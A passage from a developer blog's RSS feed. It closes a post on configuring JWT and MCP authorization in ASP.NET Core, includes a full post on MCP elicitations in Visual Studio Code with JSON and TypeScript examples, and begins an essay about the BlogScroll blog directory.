</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">options</span><span class="p">.</span><span class="n">Events</span> <span class="p">=</span> <span class="k">new</span> <span class="n">JwtBearerEvents</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">OnTokenValidated</span> <span class="p">=</span> <span class="n">context</span> <span class="p">=&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="kt">var</span> <span class="n">name</span> <span class="p">=</span> <span class="n">context</span><span class="p">.</span><span class="n">Principal</span><span class="p">?.</span><span class="n">Identity</span><span class="p">?.</span><span class="n">Name</span> <span class="p">??</span> <span class="s">&#34;unknown&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="kt">var</span> <span class="n">email</span> <span class="p">=</span> <span class="n">context</span><span class="p">.</span><span class="n">Principal</span><span class="p">?.</span><span class="n">FindFirstValue</span><span class="p">(</span><span class="s">&#34;preferred_username&#34;</span><span class="p">)</span> <span class="p">??</span> <span class="s">&#34;unknown&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">$&#34;Token validated for: {name} ({email})&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="n">Task</span><span class="p">.</span><span class="n">CompletedTask</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="n">OnAuthenticationFailed</span> <span class="p">=</span> <span class="n">context</span> <span class="p">=&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">$&#34;Authentication failed: {context.Exception.Message}&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="n">Task</span><span class="p">.</span><span class="n">CompletedTask</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="n">OnChallenge</span> <span class="p">=</span> <span class="n">context</span> <span class="p">=&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">$&#34;Challenging client to authenticate with Entra ID&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="n">Task</span><span class="p">.</span><span class="n">CompletedTask</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="n">AddMcp</span><span class="p">(</span><span class="n">options</span> <span class="p">=&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">options</span><span class="p">.</span><span class="n">ResourceMetadata</span> <span class="p">=</span> <span class="k">new</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">Resource</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Uri</span><span class="p">(</span><span class="n">serverUrl</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="n">ResourceDocumentation</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Uri</span><span class="p">(</span><span class="s">&#34;https://docs.example.com/api/weather&#34;</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="n">AuthorizationServers</span> <span class="p">=</span> <span class="p">{</span> <span class="k">new</span> <span class="n">Uri</span><span class="p">(</span><span class="n">inMemoryOAuthServerUrl</span><span class="p">)</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="n">ScopesSupported</span> <span class="p">=</span> <span class="p">[</span><span class="s">&#34;mcp:tools&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">builder</span><span class="p">.</span><span class="n">Services</span><span class="p">.</span><span class="n">AddAuthorization</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">builder</span><span class="p">.</span><span class="n">Services</span><span class="p">.</span><span class="n">AddHttpContextAccessor</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="n">builder</span><span class="p">.</span><span class="n">Services</span><span class="p">.</span><span class="n">AddMcpServer</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">WithTools</span><span class="p">&lt;</span><span class="n">WeatherTools</span><span class="p">&gt;()</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="n">WithHttpTransport</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Configure HttpClientFactory for weather.gov API</span>
</span></span><span class="line"><span class="cl"><span class="n">builder</span><span class="p">.</span><span class="n">Services</span><span class="p">.</span><span class="n">AddHttpClient</span><span class="p">(</span><span class="s">&#34;WeatherApi&#34;</span><span class="p">,</span> <span class="n">client</span> <span class="p">=&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">client</span><span class="p">.</span><span class="n">BaseAddress</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Uri</span><span class="p">(</span><span class="s">&#34;https://api.weather.gov&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">client</span><span class="p">.</span><span class="n">DefaultRequestHeaders</span><span class="p">.</span><span class="n">UserAgent</span><span class="p">.</span><span class="n">Add</span><span class="p">(</span><span class="k">new</span> <span class="n">ProductInfoHeaderValue</span><span class="p">(</span><span class="s">&#34;weather-tool&#34;</span><span class="p">,</span> <span class="s">&#34;1.0&#34;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">var</span> <span class="n">app</span> <span class="p">=</span> <span class="n">builder</span><span class="p">.</span><span class="n">Build</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">app</span><span class="p">.</span><span class="n">UseAuthentication</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="n">app</span><span class="p">.</span><span class="n">UseAuthorization</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Use the default MCP policy name that we&#39;ve configured</span>
</span></span><span class="line"><span class="cl"><span class="n">app</span><span class="p">.</span><span class="n">MapMcp</span><span class="p">().</span><span class="n">RequireAuthorization</span><span class="p">();</span>
</span></span></code></pre></div><p>In this snippet, <code>AddJwtBearer</code> is <a
  href="https://learn.microsoft.com/dotnet/api/microsoft.extensions.dependencyinjection.jwtbearerextensions.addjwtbearer?view=aspnetcore-9.0#microsoft-extensions-dependencyinjection-jwtbearerextensions-addjwtbearer%28microsoft-aspnetcore-authentication-authenticationbuilder%29"
  
  target="_blank" rel="noreferrer noopener"
>standard ASP.NET Core construct</a> that adds JWT-bearer authentication support, and packs a punch with built-in validation logic (you <strong>must always validate inbound tokens</strong>).</p>
<p>In <code>AddMcp</code>, we&rsquo;re defining the PRM - it&rsquo;s the JSON you saw above, in C# form. The rest, like <code>AddAuthorization</code>, <code>UseAuthentication</code>, <code>UseAuthorization</code>, and <code>RequireAuthorization</code>, is <em>also</em> following <a
  href="https://learn.microsoft.com/aspnet/core/security/authorization/policies?view=aspnetcore-9.0"
  
  target="_blank" rel="noreferrer noopener"
>standard ASP.NET Core conventions</a> - remember when I mentioned idiomatic design?</p>
<h2 id="next-steps" class="relative group">Next Steps <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#next-steps" aria-label="Anchor">#</a></span></h2>
<p>The MCP C# SDK is in preview, and the authorization logic is still fresh, so expect some rough edges. The team is looking at making some incremental improvements in the near future, so if you hit a snag or have ideas, <a
  href="https://github.com/modelcontextprotocol/csharp-sdk/issues"
  
  target="_blank" rel="noreferrer noopener"
>open a GitHub issue</a> - we&rsquo;re very much listening.</p>
<p>If you want to learn more, I highly recommend checking out the following resources:</p>
<ul>
<li><strong>GitHub Repository</strong>: <a
  href="https://github.com/modelcontextprotocol/csharp-sdk"
  
  target="_blank" rel="noreferrer noopener"
><code>modelcontextprotocol/csharp-sdk</code></a></li>
<li><strong>NuGet Package</strong>: <a
  href="https://www.nuget.org/packages/ModelContextProtocol/"
  
  target="_blank" rel="noreferrer noopener"
><code>ModelContextProtocol</code></a></li>
<li><strong>MCP Specification</strong>: <a
  href="https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization"
  
  target="_blank" rel="noreferrer noopener"
>Authorization</a></li>
<li><strong>Standard</strong>: <a
  href="https://datatracker.ietf.org/doc/rfc9728/"
  
  target="_blank" rel="noreferrer noopener"
>RFC 9728 OAuth 2.0 Protected Resource Metadata</a></li>
</ul>
<p>And of course, because you&rsquo;re going to be dealing with tokens, reading <a
  href="https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices"
  
  target="_blank" rel="noreferrer noopener"
>security best practices</a> is an absolute must.</p>
<h2 id="acknowledgements" class="relative group">Acknowledgements <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#acknowledgements" aria-label="Anchor">#</a></span></h2>
<p>Special thank you to <a
  href="https://github.com/halter73"
  
  target="_blank" rel="noreferrer noopener"
>Stephen Halter</a> for doing a significant amount of work preparing the <a
  href="https://github.com/modelcontextprotocol/csharp-sdk/pull/377"
  
  target="_blank" rel="noreferrer noopener"
>authorization PR</a> for production release.</p>
]]></content:encoded></item><item><title>Stop Guessing: MCP Elicitations Come To Visual Studio Code</title><link>https://den.dev/blog/vscode-mcp-elicitations-stop-guessing/</link><pubDate>Sun, 06 Jul 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/vscode-mcp-elicitations-stop-guessing/</guid><description>Tired of agents making wrong assumptions about user input? Visual Studio Code now supports MCP elicitations, where servers can request structured input through the client&rsquo;s native UI, completely eliminating guesswork and tedium of interpreting LLM input.</description><content:encoded><![CDATA[<p>Every developer knows this frustration: you&rsquo;re working with an AI agent, and it diligently works on generating code that&rsquo;s almost right, except it assumes you&rsquo;re using PostgreSQL when you&rsquo;re actually using MongoDB, or it creates a REST endpoint when you needed GraphQL. The LLM had to guess because it couldn&rsquo;t just ask. Or maybe it could, but your input got misinterpreted.</p>
<p>Model Context Protocol (MCP) elicitations solve this problem by letting MCP servers that plug into LLMs ask structured questions mid-conversation. Instead of your coding assistant making assumptions about your database type, authentication method, or API structure, it can prompt you with a native dialog asking exactly what it needs to know.</p>
<p>This isn&rsquo;t just another chat feature - it&rsquo;s a change in how MCP clients gather context. With the latest MCP specification update, <a
  href="https://modelcontextprotocol.io/specification/2025-06-18/client/elicitation"
  
  target="_blank" rel="noreferrer noopener"
><strong>elicitations</strong></a> enable MCP servers to request specific information through structured prompts, eliminating the guesswork that leads to almost-right context passed back from the client.</p>
<h2 id="how-it-works-in-practice" class="relative group">How it works in practice <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#how-it-works-in-practice" aria-label="Anchor">#</a></span></h2>
<p>The workflow is really straightforward, and I don&rsquo;t say this lightly: when an MCP server needs additional context, it sends a structured request to the client specifying exactly what information it needs. The client renders this as a native UI prompt, collects the user&rsquo;s response, and passes it back to the server, all without losing context or requiring free-form chat interpretation.</p>
<p>Starting with the <a
  href="https://code.visualstudio.com/insiders/"
  
  target="_blank" rel="noreferrer noopener"
>latest Insiders builds</a>, Visual Studio Code already supports this part of the MCP specification!</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/vscode-mcp-elicitations-support/elicitation-vs-code.gif">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="MCP elicitation integration in Visual Studio Code Insiders."
    
    
    
      src="https://assets.den.dev/images/postmedia/vscode-mcp-elicitations-support/elicitation-vs-code.gif"
    
  />
  </a>
  <figcaption class="text-center">MCP elicitation integration in Visual Studio Code Insiders.</figcaption>
</figure>
<p>As you can see from this GIF, the prompts are natively integrated in the Visual Studio Code user interface - for a developer who is frequently relying on the <a
  href="https://code.visualstudio.com/api/ux-guidelines/command-palette"
  
  target="_blank" rel="noreferrer noopener"
>Command Palette</a>, this is what I would expect if the editor wanted more information from me.</p>
<h2 id="how-elicitations-work-under-the-hood" class="relative group">How elicitations work under the hood <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#how-elicitations-work-under-the-hood" aria-label="Anchor">#</a></span></h2>
<p>The technical implementation is surprisingly simple and elegant. When an MCP server needs additional information, it sends an elicitation request to the MCP client that looks like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;method&#34;</span><span class="p">:</span> <span class="s2">&#34;elicitation/create&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;params&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;message&#34;</span><span class="p">:</span> <span class="s2">&#34;Please provide your contact information&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;requestedSchema&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;type&#34;</span><span class="p">:</span> <span class="s2">&#34;object&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;properties&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;type&#34;</span><span class="p">:</span> <span class="s2">&#34;string&#34;</span><span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;email&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;type&#34;</span><span class="p">:</span> <span class="s2">&#34;string&#34;</span><span class="p">,</span> <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;email&#34;</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;required&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;name&#34;</span><span class="p">,</span> <span class="s2">&#34;email&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>The <code>requestedSchema</code> uses JSON Schema to define exactly what information is needed, including:</p>
<ul>
<li>Data types (e.g., <code>string</code>, <code>number</code>, <code>boolean</code>)</li>
<li>Required and optional fields, as appropriate</li>
<li>Validation rules (supported formats are <code>email</code>, <code>uri</code>, <code>date</code>, <code>date-time</code>)</li>
<li>Enum values for multiple choice options</li>
</ul>
<p>The client is responsible for rendering the user interface components for the user to respond to the elicitation request. Visual Studio Code integrates this feature natively with its Command Palette-style interface, while other clients like Claude Desktop or MCP Inspector can implement their own UI patterns that are familiar to their users.</p>
<p>For every elicitation request, users can respond in three ways:</p>
<ul>
<li><strong>Accept</strong>: Provide the requested information</li>
<li><strong>Decline</strong>: Refuse to share requested information</li>
<li><strong>Cancel</strong>: Stop the entire interaction</li>
</ul>
<p>The MCP server, of course, will be informed of the interaction outcome.</p>
<h2 id="why-elicitations-beat-traditional-chat" class="relative group">Why elicitations beat traditional chat <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#why-elicitations-beat-traditional-chat" aria-label="Anchor">#</a></span></h2>
<p>The key advantages over back-and-forth conversation:</p>
<ul>
<li><strong>Structured data collection</strong>: JSON schemas ensure users provide exactly the right information in the right format.</li>
<li><strong>Context preservation</strong>: The elicitation happens within the same workflow without losing state.</li>
<li><strong>Validation and error prevention</strong>: Schema validation catches mistakes during input rather than relying on the MCP server doing rudimentary validation (they still should).</li>
<li><strong>Native user experience</strong>: Client-integrated prompts feel much more natural for <em>concrete</em> details, rather than conversational.</li>
</ul>
<h2 id="real-world-example-the-everything-mcp-server" class="relative group">Real-world example: the Everything MCP server <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#real-world-example-the-everything-mcp-server" aria-label="Anchor">#</a></span></h2>
<p>Enough with the theory - you probably want to see how to quickly get this tested in your favorite MCP client. Based on an example from <a
  href="https://peet.io/"
  
  target="_blank" rel="noreferrer noopener"
>Connor Peet</a>, I put together a pull request adding elicitation support to the <a
  href="https://github.com/modelcontextprotocol/servers/pull/2215"
  
  target="_blank" rel="noreferrer noopener"
>Everything server</a>.</p>
<p>The PR is not super-complex - it&rsquo;s a way to have a minimum viable version of elicitations without waiting for a specific custom third-party server to implement it. To get started, clone my forked repository (take it from the PR), and within the <code>src/everything</code> folder run:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">npm run build
</span></span></code></pre></div><p>Then, in Visual Studio Code, use <kbd>Ctrl</kbd> (or <kbd>Cmd</kbd> on macOS) + <kbd>Shift</kbd> + <kbd>P</kbd> to open the Command Palette and enter &ldquo;<em>Add MCP server</em>.&rdquo; The command you&rsquo;re looking at using is <code>npm</code>, and then in the settings JSON you will need to modify the MCP server configuration to match this snippet (feel free to adjust based on your own source code path):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&#34;servers&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nt">&#34;test-elicitations&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&#34;type&#34;</span><span class="p">:</span> <span class="s2">&#34;stdio&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&#34;command&#34;</span><span class="p">:</span> <span class="s2">&#34;npm&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			<span class="nt">&#34;args&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">				<span class="s2">&#34;start&#34;</span><span class="p">,</span> 
</span></span><span class="line"><span class="cl">				<span class="s2">&#34;--prefix&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">				<span class="s2">&#34;/path/to/src/everything&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="p">]</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">},</span>
</span></span><span class="line"><span class="cl">	<span class="nt">&#34;inputs&#34;</span><span class="p">:</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Start the server when ready - you can do this directly from the settings file.</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/vscode-mcp-elicitations-support/vscode-start-mcp-server.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Starting a STDIO MCP server in Visual Studio Code Insiders."
    
    
    
      src="https://assets.den.dev/images/postmedia/vscode-mcp-elicitations-support/vscode-start-mcp-server.webp"
    
  />
  </a>
  <figcaption class="text-center">Starting a STDIO MCP server in Visual Studio Code Insiders.</figcaption>
</figure>
<p>When you trigger the <code>startElicitation</code> tool (in Visual Studio Code you can do this with the <code>#</code> prefix), it requests your preferences through a structured prompt, that is implemented like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">requestElicitation</span> <span class="o">=</span> <span class="kr">async</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">  <span class="nx">message</span>: <span class="kt">string</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">requestedSchema</span>: <span class="kt">any</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">request</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">method</span><span class="o">:</span> <span class="s1">&#39;elicitation/create&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">params</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">message</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nx">requestedSchema</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="k">await</span> <span class="nx">server</span><span class="p">.</span><span class="nx">request</span><span class="p">(</span><span class="nx">request</span><span class="p">,</span> <span class="nx">z</span><span class="p">.</span><span class="kt">any</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><p>The demo asks for the user&rsquo;s favorite color, a number between 1-100, and the preferred pet type.</p>
<p>This is a &ldquo;silly&rdquo; demo, of course - in real-world scenarios, MCP servers can request database types, file paths, API endpoints, or any other structured information they need to take an action.</p>
<h2 id="security-considerations" class="relative group">Security considerations <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#security-considerations" aria-label="Anchor">#</a></span></h2>
<p>Because I am deeply immersed in the MCP security work, I wanted to address one important constraint with elicitations. MCP servers <strong>must not</strong> request sensitive information like passwords, API keys, or other sensitive data through the current elicitation implementation.</p>
<p>That being said, there is work underway by <a
  href="https://www.wilsdawson.com/"
  
  target="_blank" rel="noreferrer noopener"
>Wils Dawson</a> and <a
  href="https://www.linkedin.com/in/nbarbettini"
  
  target="_blank" rel="noreferrer noopener"
>Nate Barbettini</a> from <a
  href="https://arcade.dev"
  
  target="_blank" rel="noreferrer noopener"
>Arcade.dev</a> to introduce a <a
  href="https://github.com/modelcontextprotocol/modelcontextprotocol/pull/887"
  
  target="_blank" rel="noreferrer noopener"
>secure way for out-of-band credential or authorization requests</a>. You should check out the pull request and provide your feedback.</p>
<h2 id="looking-ahead" class="relative group">Looking ahead <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#looking-ahead" aria-label="Anchor">#</a></span></h2>
<p>MCP elicitations are still in their early stages, but the implications are significant. As more MCP servers adopt this pattern, we can expect more intelligent, context-aware AI tools that feel less like chatbots and more like knowledgeable pair programming partners.</p>
<p>The key insight is that good LLM assistance isn&rsquo;t just about having the right answers - it&rsquo;s about knowing the <em>very specific context</em> that is often needed to provide the right insights or perform the right actions. Elicitations give MCP servers that capability, making them more effective partners in all sorts of user workflows.</p>
<p>For developers interested in implementing elicitations in their own MCP servers, the <a
  href="https://modelcontextprotocol.io/specification/2025-06-18/client/elicitation"
  
  target="_blank" rel="noreferrer noopener"
>specification</a> provides detailed guidance on request formats, schema validation, and best practices.</p>
]]></content:encoded></item><item><title>I Built BlogScroll To Save Personal Blogging From SEO Hell</title><link>https://den.dev/blog/blogscroll/</link><pubDate>Thu, 26 Jun 2025 00:00:00 +0000</pubDate><author>Den Delimarsky</author><guid>https://den.dev/blog/blogscroll/</guid><description>The web is drowning in AI slop and SEO spam. BlogScroll is my small act of rebellion - a curated directory of real humans writing about real things.</description><content:encoded><![CDATA[<p><a
  href="/blog/blog-directory/"
  
  
>Way back in 2020</a>, I built something called <a
  href="https://blogscroll.com/"
  
  target="_blank" rel="noreferrer noopener"
>BlogScroll</a>. It&rsquo;s a curated directory of personal websites and blogs, or, as kids call it these days - digital gardens (the breadth of the term, of course, is still debated). There is no &ldquo;infrastructure&rdquo; that I maintain for it beyond what&rsquo;s out there in the open - it&rsquo;s hosted entirely on GitHub, maintained by the community, and designed to solve a very specific problem: <strong>you can&rsquo;t freakin&rsquo; find interesting personal content on the web anymore</strong>.</p>
<p>The idea behind BlogScroll is <em>ridiculously</em> simple: go to the site, pick a category that interests you (technology, photography, design, etc.), click on a random blog, and start reading something written by an <em>actual</em> human about their <em>actual</em> experiences. No ads, no nagging prompts to subscribe to Substack or Medium, no &ldquo;<em>10 Ways to Optimize Your Morning Routine in 2025</em>&rdquo; garbage.</p>
<h2 id="the-web-we-know-got-industrialized" class="relative group">The web we know got industrialized <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#the-web-we-know-got-industrialized" aria-label="Anchor">#</a></span></h2>
<p>Try this experiment right now, in any browser or device. Go to Google and search for &ldquo;personal blog&rdquo;. This is what I see:</p>







<figure>
  <a href="https://assets.den.dev/images/postmedia/blogscroll/google-results.webp">
  <img
    class="mx-auto my-0 rounded-md"
    loading="lazy"
    decoding="async"
    alt="Google search results for &#34;personal blog&#34; show SEO-optimized content farms, not actual personal blogs."
    
    
    
      src="https://assets.den.dev/images/postmedia/blogscroll/google-results.webp"
    
  />
  </a>
  <figcaption class="text-center">Google search results for &ldquo;personal blog&rdquo; show SEO-optimized content farms, not actual personal blogs.</figcaption>
</figure>
<p>Those aren&rsquo;t personal blogs. Aside from Martha Stewart somehow being on that list, all of these pages are useless to what I actually wanted to find. Homebrew-style personal pages where people talk about their interests. You know, stuff written by <a
  href="https://blog.codinghorror.com/"
  
  target="_blank" rel="noreferrer noopener"
>Jeff Atwood</a>, <a
  href="https://jvns.ca/"
  
  target="_blank" rel="noreferrer noopener"
>Julia Evans</a>, <a
  href="https://www.hanselman.com/"
  
  target="_blank" rel="noreferrer noopener"
>Scott Hanselman</a>, and <a
  href="https://blog.jessfraz.com/"
  
  target="_blank" rel="noreferrer noopener"
>Jessie Frazelle</a>. You know, the content people put thought and care in.</p>
<p>The links in that cursed Google search results page don&rsquo;t point to actual personal blogs - they&rsquo;re content farms optimized for search engines, designed to capture traffic and monetize your attention. The actual personal blogs, the ones where real people share their genuine thoughts and experiences, are buried on page 34 in the Google search results. At least.</p>
<p>As depressing as it may be, I think this happened because of three converging forces:</p>
<ol>
<li><strong>SEO optimization</strong> turned content into a <em>formula</em>: &ldquo;<em>How to [VERB] [NOUN] in [CURRENT_YEAR].</em>&rdquo; Instead of writing about what&rsquo;s there of interest, hordes of &ldquo;SEO experts&rdquo; decided that the best way forward is to game how search engines bring the content to the top, no matter how actually useful it is. But, don&rsquo;t hate the player, hate the game, am I right? Incentives and all.</li>
<li><strong>AI content generation</strong> becoming accessible to everyone flooded the web with bland, mass-produced text. I recall in 2022 listening to a podcast where a founder of a startup built for &ldquo;content augmentation&rdquo; was bragging about the fact that they could generate <em>hundreds</em> of articles per day, per site with ChatGPT. Aside from the fact that the quality of that content is questionable, imagine competing on a topic with <em>hundreds</em> of AI-generated content pieces juiced to the max for discoverability. If you read this blog, you know I am not anti-AI by any stretch, the same way I am not anti-hammer. It&rsquo;s a tool with its utility, but good grief did it also open Pandora&rsquo;s box to clogging up the web pipes.</li>
<li><strong>Social media platforms</strong> trained us to consume bite-sized content instead of long-form writing. Writing a post on Bluesky or Mastodon is way easier than sitting down and creating a blog post. It goes the same way for consumption - it&rsquo;s easier to scroll through a feed than sit down and read <a
  href="https://jvns.ca/blog/2025/06/10/how-to-compile-a-c-program/"
  
  target="_blank" rel="noreferrer noopener"
>someone&rsquo;s experience with <code>make</code></a>.</li>
</ol>
<p>The result? The vibrant, weird, personal web got paved over by an endless strip mall of identical content stores. <a
  href="/blog/be-a-property-owner-not-a-renter-on-the-internet/"
  
  
>People became renters, rather than owners</a> on the Internet.</p>
<h2 id="enter-blogscroll" class="relative group">Enter BlogScroll <span class="absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100"><a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" style="text-decoration-line: none !important;" href="#enter-blogscroll" aria-label="Anchor">#</a></span></h2>
<p>I built BlogScroll to be intentionally simple and unobtrusive. If you <a
  href="https://blogscroll.com"
  
